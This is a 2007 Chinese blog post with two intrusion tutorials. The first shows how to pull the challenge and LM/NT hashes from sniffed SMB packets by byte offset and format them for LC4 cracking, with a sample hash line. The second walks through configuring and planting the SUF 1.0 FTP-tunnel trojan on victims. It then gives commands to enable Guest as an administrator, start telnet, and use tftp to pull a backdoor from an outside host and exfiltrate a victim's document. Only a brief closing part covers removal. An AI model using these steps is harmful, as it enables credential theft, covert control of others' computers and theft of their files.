星期二, 五月 01, 2007

非主流入侵之会话劫持WinNT/2K HASH

非主流入侵之会话劫持WinNT/2K HASH

引言:

近来SMB会话劫持的讨论占据了个大技术论坛不少的位置,吸引了不少人的目光,同时绿盟月刊37期、Phrack杂志60期和安全焦点峰会也刊登出了相关的文章,使得SMB会话劫持成为一个热点。由于是window设计上的缺陷,这是一种无法察觉又非常可怕的攻击方法。本文试图从SMB数据包分析的角度来说明如何截获winnt/2k的hash,具体的实现就不公布了,请读者牢记前面的声明。

说明:

为了使文章有针对性,关于SMB协议以及SMB会话过程就不谈了,用到的时候会一带而过,感兴趣的朋友请自行查询附录中的参考文档。文中提到的数据包如果没有特别说明都是通过Sniffer pro截获到的,并且为了分析方便,去掉了物理帧头、IP头和TCP头,只留下NETB和SMB部分。

正文:

假设两台机器,一台为Client A,一台为SMBServer B。

一、session的建立:

设法让A去访问B的特定资源,产生一个NETBIOS会话。A发送Session request,其中包括经过编码的NETBIOS名字。B在139端口监听连接,收到A的request后,B发送Session confirm,其中没有任何内容。这样就建立了一个有效的session。其中Session request数据包的NETB Type为0x81,Session confirm数据包的NETB Type为0x82,可以在程序中通过判断这两个标志来确定是否产生一个有效的session,然后就可以想办法截获SMB包了。

二、Challenge的获得:

当有效的session建立后,就开始进行连接的确认工作了,从这一步中可以得到B发送给A的由B随机产生的Challenge。

过程如下:A向B发送一个身份认证的请求,B随机产生一个8字节的Challenge发送给A,这个Challenge就包含在B发回给A的Server Response数据包中。用Sniffer pro截获这个包后,去掉物理帧头、IP头和TCP头,再去掉4个字节的NETB头,剩下的就是SMB包的内容,再去掉33个字节长的SMB Reponse header,然后向后做36个字节的偏移,下面的就是长度为8个字节的Challenge。这样就得到了我们需要的服务器随机产生的Challenge。

三、LM&NT HASH的获得:

A得到B发回的用于加密口令的Challenge后,向B发送建立空连接的请求,B返回Server Response包,此时IPC空连接成功建立。A然后发送LM&NT HASH给B,请求访问特定的资源,等待B的允许。我们需要做的就是截获A发送的这个SMB包。下面来看怎么拆解出HASH,还是去掉物理帧头、IP头和TCP头,再去掉4个字节的NETB头,剩下的就是SMB包的内容,再去掉33个字节长的SMB Reponse header,然后向后做28个字节的偏移,下面的24个字节的内容就是LM HASH,紧接着的24个字节就是NT HASH。现在我们就获得了A主机的LM HASH和NT HASH。

四、HASH的破解

前面已经获得了Challenge、LM HASH和NT HASH,现在我们做成lc文件格式,下面就是导入lc4来暴力破解了。lc的文件格式如下:

192.168.0.244 ADMINIST-7Z6A4E\Administrator:"":"":89E5E3F54A998398DC36E89DDD37334C801201CA39C9A5D

3:8457623684F27A5EFA5FE7B647E87C36D78616F80594123C:E3A96FF4507B9EDF

后面的三列数字分别为LM HASH、NT HASH、Challenge。

五、总结

本文旨在于讨论winnt/2k下SMB会话劫持的实现,相关问题请查阅参考文档。因为入侵方法复杂,并且需要一定的基础,所以,掌握的人并不多。我已经尽量写地简单,只要按照以上的步骤去做就能实现,具体的代码实现就不写了,有兴趣的朋友自己去研究吧。

网络入侵也玩双通道

  一个14岁的男孩经过无数次的实验,推出了一款全新的木马——SUF 1.0,该后门运用了“反弹端口原理”与“FTP 隧道技术”,也就是两台机器不直接传输数据,而是利用第三台机器(FTP服务器)来交换数据.

  SUF(Shell Use Ftp)顾名思义,就是通过FTP的Shell。这种奇妙的思路真叫绝的,它充分利用防火墙“外严内不严”的漏洞,客户端生成服务端后,把客户端主机的IP发送到FTP里,然后别人运行服务端后下载IP文件,然后通过反向连接,使客户端知道服务端上线,然后把要执行的命令发送到FTP里,服务端再读取FTP里要执行的命令,最后完成执行。

  说了这么一大堆,SUF是不是真的有这么厉害?用事实来说明一切,跟我来……

  一、摩拳擦掌——配置服务端

  和一般的木马后门大体相同,首先将下载下来的SUF 1.0解压缩,双击运行其中的client.exe,出现主窗口,非常简洁明了吧!点击“配置服务端”按钮,弹出了配置对话窗口,这里仅需要配置一下FTP服务选项。在“FTP”栏中填入一个有写权限的FTP服务器,如:Ftp.abc.com或者220.202.242.98。接着在“端口”栏中填写好FTP服务器端口,默认为21。再在“用户名”和“密码”栏中输入FTP帐户名称和密码,点击“配置服务器”,出现一提示对话框,点击“确定”,这时程序就会开始验证FTP服务器,验证成功后请选择木马服务端(server.exe)的路径,最后完成配置。

  小提示:如果要给服务端加壳,请在配置服务端之前给服务端(server.exe)加壳,服务端是可重复配置的。同时一定要确保使用的FTP帐户对FTP服务器有写的权限。

二、玩弄骨掌——轻松来控制

  接下来是玩木马后门必不可少的环节,那就是种植木马。种植木马的方法、途径有很多,以前也专门有文章介绍过,大家可以发挥自己的聪明才智,把服务端上传到肉鸡或者发给QQ好友等,当服务端程序被运行后,一般的使用者很难感觉到计算机有异常,防火墙也不会出现报警。其实,一只黑手正在慢慢靠近,服务端程序会自动从FTP服务器中获取客户端的IP地址,然后开始反向连接,这时服务端计算机的IP地址就会出现在客户端的“上线列表”中。

  小提示:客户端计算机必须是直接连接到Internet,而不能是处于内网中,同时,如果开启了防火墙的话,请打开5915端口。

  在“上线列表”中双击某一在线计算机的IP(例如:220.202.242.100),出现“连接到220.202.242.100”对话窗口,这就已经得到了目标计算机的一个系统权限的Shell,现在想干什么就自由发挥吧!

  想想既然是送上门的肉鸡,还是留个后门,以便日后再次光顾吧!这里就将Guest帐户激活,并提升为管理员,再开启目标计算机的Telnet服务,下面就看如何来实现?请输入命令:net user guest /active:yes,点击“运行”来激活Guest帐户,再运行命令:net localgroup administrators guest /add,将Guest加入管理员组,最后再运行命令:net start telnet,开启目标计算机的远程登录服务。

  其实,在这里有很多东东可以应用的,比如可以通过FTP命令或者TFTP来远程下载/上传文件。这里假设已经知道有一个TFTP服务器220.202.242.99,我们从服务器上下载一个后门程序Sy.exe,只要运行命令:tftp 220.202.242.99 get sy.exe;要把肉鸡上的一个数据文档Ccash.doc上传到TFTP服务器只要运行命令:tftp 220.202.242.99 put Ccash.doc。

  小提示:Windows自身附带了一个简单的文件上传下载程序Tftp.exe,可要建立TFTP服务器,就得借助TFTPD32了。

  三、摆脱控制——隔离隧道

  虽然SUF 1.0的实现方法非常隐蔽,可还是能够将其剿灭的,可以借助Active Ports(下载地址:http://www.ldcatv.com/soft/aports.rar)等端口实时监测工具来发现、中止它。如果中了SUF后门,就可在“Active Ports”主窗口中发现两个server.exe进程,其中一个通过4319端口与FTP服务器进行通讯,另一个通过4321端口与客户端计算机进行通讯。选择它们,再点击“Terminate Process”来结束进程。然后在资源管理器中将server.exe删除,这样就摆脱了SUF的控制。

没有评论:

推广链接